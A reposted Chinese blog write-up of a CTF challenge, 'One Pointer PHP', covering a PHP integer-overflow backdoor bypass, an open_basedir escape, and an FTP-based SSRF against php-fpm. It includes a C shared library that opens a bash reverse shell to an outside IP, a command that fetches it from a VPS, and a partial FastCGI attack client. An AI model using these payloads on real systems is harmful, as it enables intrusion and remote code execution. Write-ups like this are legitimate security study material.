----已搬运----[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc

本文详细介绍了蓝帽杯2021中关于PHP数组溢出、绕过open_basedir限制的方法,以及如何利用SSRF攻击php-fpm进行提权。重点讲解了通过PHP后门文件绕过限制、执行命令,最终通过FTP SSRF攻击获取shell并实现SUID提权。
摘要由CSDN通过智能技术生成

WP:https://mp.weixin.qq.com/s/RytU2DZEjsuODeHy3JvBcg

二、学到的&&不足:

三、学习WP:

给了源码,两个PHP文件:

user.php:

<?php
class User{
   
 public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
   
 $count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
 if($count[]=1){
   
  $user->count+=1;
  setcookie("data",serialize($user));
 }else{
   
  eval($_GET["backdoor"]);
 }
}else{
   
 $user=new User;
 $user->count=1;
 setcookie("data",serialize($user));
}
// $_COOKIE["data"]的默认值是 O:4:"User":1:{s:5:"count";i:1;}
?>

是个后门文件,只要能绕过第5行的 $count[]=1即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句(一个等号),并且赋的值是1,所以按理说不管怎样返回的都是 True:

在这里插入图片描述

也就没法进入到 else 语句中的代码执行阶段了,那我们便要想办法绕过这里。

1.PHP数组溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述payload:

O:4:"User":1:{
   s:5:"count";i:9223372036854775806;}

在这里插入图片描述

看phpinfo();这两个都贼多,并且还有open_basedir/var/www/html

在这里插入图片描述

2.绕过 open_basedir.。

在这里插入图片描述

设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

<?php
mkdir('Von');  //创建一个目录Von
chdir('Von');  //切换到Von目录下
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd');  //读取/etc/passwda
mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo%20file_get_contents('/etc/passwd');

2.1 在有disable_function情况下用其他的函数读取问题:

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

在这里插入图片描述

是成功的。然后看一看 根目录什么的。

在这里插入图片描述

2.1.1 疑问:,,,不好使,还是用 常规思路把。

这里其实,我想用assert执行shell。但是连最基本的操作都没用,,,不好使,,,吐了。不知道为什么。

哦哦,试了一下,好像不能eval,然后assert,assert和eval类似,直接assert就行,

然后我另起一句话来操作,,win10上的shell好使,但是 Linux上的就不行。。

在这里插入图片描述

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。

那么接着搜集信息,看看其他的文件

show_source('/proc/self/cmdline');
2.1.2 show_source('/proc/self/cmdline');获取当前启动进程的完成命令

在这里插入图片描述

这里看到了php-fpm

2.1.3 print_r(scandir('/proc/self/cwd'));获取目标当前进程的运行目录与目录里的文件:

在这里插入图片描述

2.1.4 show_source('/proc/self/exe');获得当前进程的可执行文件的完整路径:-

这个不知道为什么这么多乱码,,

2.1.5 show_source('/proc/self/environ');获取当前环境变量

这个是空的,,

在这里插入图片描述

3. 学习大佬思路:

题目的PHP环境还设置了以下两个限制:

  • disable_functions:

在这里插入图片描述过滤了各种命令执行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤.

  • open_basedir, 只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

在这里插入图片描述

?backdoor=mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。

这里尝试了很多方法绕过disable_functions均失败,当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm:

所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。!!!!

首先查看nginx配置文件:

show_source('/etc/nginx/nginx.conf');
show_source('/etc/nginx/sites-available/default');
show_source('/etc/php/7.4/fpm/pool.d/www.conf ')  # 这个没读取到,然后尝试一级一级ls目录也没找到,

在这里插入图片描述
发现 PHP-FPM 绑定在了本地 9001 端口上。

这里的SSRF,不是直接有的那些SSRF漏洞,像curl,那些,

好了,既然我们可以通过 eval() 执行任意代码,那我们便可以构造恶意代码进行SSRF , 利用SSRF攻击本地的 PHP-FPM , 我们可以通过在 vps 上搭建恶意的 ftp ,骗取主机将 payload 转发到自己的 9001 端口上 , 从而实现攻击 PHP-FPM 并执行命令,

原理就是那个 file_get_contetns() , file_put_contents() ,这两个的组合

首先使用以下c文件 hpdoger.c 编译一个恶意的 .so 扩展,这里直接用网上亘古不变的写法:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
   
    system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

通过 shared 命令编译:

gcc hpdoger.c -fPIC -shared -o hpdoger.so

在这里插入图片描述
然后将生成的 hpdoger.so 上传到目标主机(我这里上传到 /tmp 目录,可以使用 copy('http://vps/hpdoger.so' , '/tmp/hpdoger.so') ).

然后简单修改以下脚本(根据 fcgi_jailbreak.php 改的)并执行,生成 payload:

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
   
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
   
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
   
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
   
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
   
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值